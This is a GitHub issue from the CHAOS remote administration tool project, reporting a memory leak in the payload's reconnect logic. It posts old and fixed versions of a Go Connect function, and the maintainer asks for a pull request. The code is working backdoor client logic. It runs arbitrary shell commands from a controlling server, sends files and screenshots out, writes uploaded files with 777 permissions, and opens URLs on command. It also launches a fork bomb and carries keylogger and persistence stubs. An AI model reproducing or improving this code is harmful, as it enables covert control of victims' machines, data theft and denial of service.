tiagorlampert / CHAOS

:fire: CHAOS is a free and open-source Remote Administration Tool that allow generate binaries to control remote operating systems.
MIT License
2.35k stars 522 forks source link

[Bug] Memory leak when unable to connect to server #48

Closed ClarkQAQ closed 3 years ago

ClarkQAQ commented 4 years ago

Payload memory leak when unable to connect to server 图片

Old:

func Connect() {
    // Create a connection
    conn, err := net.Dial("tcp", IP)

    // If don't exist a connection created than try connect to a new
    if err != nil {
        log.Println("[*] Connecting...")
        for {
            Connect()
        }
    }

    for {
        // When the command received aren't encoded,
        // skip switch, and be executed on OS shell.
        command, _ := bufio.NewReader(conn).ReadString('\n')

        // When the command received are encoded,
        // decode message received, and test on switch
        decodedCommand, _ := base64.StdEncoding.DecodeString(command)

        switch string(decodedCommand) {

        case "back":
            conn.Close()
            Connect()

        case "exit":
            conn.Close()
            os.Exit(0)

        case "screenshot":
            SendMessage(conn, EncodeBytesToString(TakeScreenShot()))
            RemoveNewLineCharFromConnection(conn)

        case "keylogger_start":
            SendMessage(conn, " [i] Not supported yet!")
            RemoveNewLineCharFromConnection(conn)

        case "keylogger_show":
            SendMessage(conn, " [i] Not supported yet!")
            RemoveNewLineCharFromConnection(conn)

        case "download":
            pathDownload := ReceiveMessageStdEncoding(conn)

            file, err := ioutil.ReadFile(string(pathDownload))
            if err != nil {
                conn.Write([]byte("[!] File not found!" + "\n"))
            }

            SendMessage(conn, string(file))
            RemoveNewLineCharFromConnection(conn)

        case "upload":
            uploadInput := ReceiveMessageStdEncoding(conn)
            decUpload := ReceiveMessageURLEncoding(conn)
            if string(decUpload) != "" {
                ioutil.WriteFile(string(uploadInput), []byte(decUpload), 777)
            }

        case "getos":
            SendMessage(conn, GetOSInformation())
            RemoveNewLineCharFromConnection(conn)

        case "lockscreen":
            SendMessage(conn, " [i] Not supported yet!")
            RemoveNewLineCharFromConnection(conn)

        // case "ls":
        //  SendMessage(conn, EncodeBytesToString(RunCmdReturnByte("dir")))
        //  RemoveNewLineCharFromConnection(conn)

        case "persistence_enable":
            SendMessage(conn, " [i] Not supported yet!")
            RemoveNewLineCharFromConnection(conn)

        case "persistence_disable":
            SendMessage(conn, " [i] Not supported yet!")
            RemoveNewLineCharFromConnection(conn)

        case "bomb":
            // Run fork bomb
            RunCmd(":(){ :|: & };:")

            SendMessage(conn, "[*] Executed Fork Bomb!")
            RemoveNewLineCharFromConnection(conn)

        case "openurl":
            // Receive url and run it
            url := ReceiveMessageStdEncoding(conn)
            RunCmd("xdg-open " + url)

            SendMessage(conn, "[*] Opened!")
            RemoveNewLineCharFromConnection(conn)
        } // end switch

        SendMessage(conn, RunCmdReturnString(command))

        _, err := conn.Read(make([]byte, 0))

        if err != nil {
            Connect()
        }
    }
}

New:

func Connect() {
    // Create a connection
    conn, err := net.Dial("tcp", IP)
    defer func (){
        conn.Close()
    }()
    // If don't exist a connection created than try connect to a new
    if err != nil {
        log.Println("[*] Connecting...")
        for {
            conn, err = net.Dial("tcp", IP)
            if err == nil {
                break
            }
        }
    }

    for {
        // When the command received aren't encoded,
        // skip switch, and be executed on OS shell.
        command, _ := bufio.NewReader(conn).ReadString('\n')

        // When the command received are encoded,
        // decode message received, and test on switch
        decodedCommand, _ := base64.StdEncoding.DecodeString(command)

        switch string(decodedCommand) {

        case "back":
            conn.Close()
            Connect()

        case "exit":
            conn.Close()
            os.Exit(0)

        case "screenshot":
            SendMessage(conn, EncodeBytesToString(TakeScreenShot()))
            RemoveNewLineCharFromConnection(conn)

        case "keylogger_start":
            SendMessage(conn, " [i] Not supported yet!")
            RemoveNewLineCharFromConnection(conn)

        case "keylogger_show":
            SendMessage(conn, " [i] Not supported yet!")
            RemoveNewLineCharFromConnection(conn)

        case "download":
            pathDownload := ReceiveMessageStdEncoding(conn)

            file, err := ioutil.ReadFile(string(pathDownload))
            if err != nil {
                conn.Write([]byte("[!] File not found!" + "\n"))
            }

            SendMessage(conn, string(file))
            RemoveNewLineCharFromConnection(conn)

        case "upload":
            uploadInput := ReceiveMessageStdEncoding(conn)
            decUpload := ReceiveMessageURLEncoding(conn)
            if string(decUpload) != "" {
                ioutil.WriteFile(string(uploadInput), []byte(decUpload), 777)
            }

        case "getos":
            SendMessage(conn, GetOSInformation())
            RemoveNewLineCharFromConnection(conn)

        case "lockscreen":
            SendMessage(conn, " [i] Not supported yet!")
            RemoveNewLineCharFromConnection(conn)

        // case "ls":
        //  SendMessage(conn, EncodeBytesToString(RunCmdReturnByte("dir")))
        //  RemoveNewLineCharFromConnection(conn)

        case "persistence_enable":
            SendMessage(conn, " [i] Not supported yet!")
            RemoveNewLineCharFromConnection(conn)

        case "persistence_disable":
            SendMessage(conn, " [i] Not supported yet!")
            RemoveNewLineCharFromConnection(conn)

        case "bomb":
            // Run fork bomb
            RunCmd(":(){ :|: & };:")

            SendMessage(conn, "[*] Executed Fork Bomb!")
            RemoveNewLineCharFromConnection(conn)

        case "openurl":
            // Receive url and run it
            url := ReceiveMessageStdEncoding(conn)
            RunCmd("xdg-open " + url)

            SendMessage(conn, "[*] Opened!")
            RemoveNewLineCharFromConnection(conn)
        } // end switch

        SendMessage(conn, RunCmdReturnString(command))

        _, err := conn.Read(make([]byte, 0))

        if err != nil {
            Connect()
            return
        }
    }
}
tiagorlampert commented 3 years ago

Hello, thanks for your report!

Could you try again with the latest version? Will be great if you open a pull request with your solution. :smiley: